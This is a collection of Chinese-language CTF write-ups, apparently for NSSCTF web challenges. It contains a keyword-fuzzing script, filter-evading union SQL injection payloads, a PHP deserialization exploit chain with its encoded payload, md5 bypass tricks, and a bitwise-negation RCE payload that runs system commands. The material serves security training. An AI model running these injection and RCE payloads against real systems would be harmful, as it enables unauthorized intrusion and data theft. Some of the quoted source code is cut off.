进入环境
查看源码,发现是get传参且参数为wllm
fuzz测试,发现空格,=,and被过滤了
同样的也可以用python脚本进行fuzz测试
import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:
res = requests.get('http://node4.anna.nssctf.cn:28876/?wllm={}'.format(i))
if '请勿非法操作' in res.text:
print(i)
结果也是一样的
既然空格被过滤那就用/**/代替空格,用联合注入进行注入
爆字段
-1'/**/order/**/by/**/4%23(用%23代替#,因为在注入时发现#也没法注入)
爆数据库
-1'/**/union/**/select/**/1,database(),3%23
爆表
-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa
tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
查询列
-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
查询内容
-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_
flag%23
发现flag只有一段,没有全部显示出来,使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid,mid截取,因为回显只能有20个,所以20,一组一组截取
-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23
-1%27union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23
最后得到flag
NSSCTF{90c72eb0-e4977-4730-a192-42f3d662c85f}
进入环境得到的是一大串php代码,看到最后的函数发现是反序列化
admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
查找入口
# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件 class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }
找链子
# echo一个对象,调用__toString方法,然后调用内部w00m的方法,由此可得链子如下
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
构造exp:
w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>
找php在线运行工具
得到反序列化代码,但是经过url编码
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
进入环境一开始以为是sql注入,不停在测试sql注入,但是页面都没有什么反应
用bp抓包试一下
不难发现在 Response 包中的 Header 中存在
Hint 为:hint: select * from 'admin' where password=md5($pass,true)
我们尝试进行绕过,传入 password=
ffifdyop;即可绕过!原理如下:
跳转到新页面
查看源码发现题目代码
这里要使a,b的md5的值相等才会回显,这里选择用数组绕过md5
出现新的页面
这里依然选择用数组绕过md5,这里的传参方式为post,最后得到flag
题目提示直接就是无数字RCE和无字母RCE,上源码
','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
分析源码,可以知道所有字母字符和某些特殊字符被过滤;但源码中可以使用GET方式以wllm为参传值,且源码里面含有eval函数可以执行命令;结合上面要求,可以使用url取反方式进行绕过,不用异或和或运算是因为^和`被过滤了。
使用脚本将system和ls /进行url编码取反
ls=~%93%8C
system=~%8C%86%8C%8B%9A%92
cat /f*=~%9C%9E%8B%DF%D0%99%D5
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);
不知道为什么system(ls)不能回显,但是system(cat /f*)却能回显出flag
进入环境一看到后面的函数就知道是反序列化
构造exp:
true,
'password'=>true
);
$serialized_data = serialize($info);
echo $serialized_data ;
?>
得到反序列化代码
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}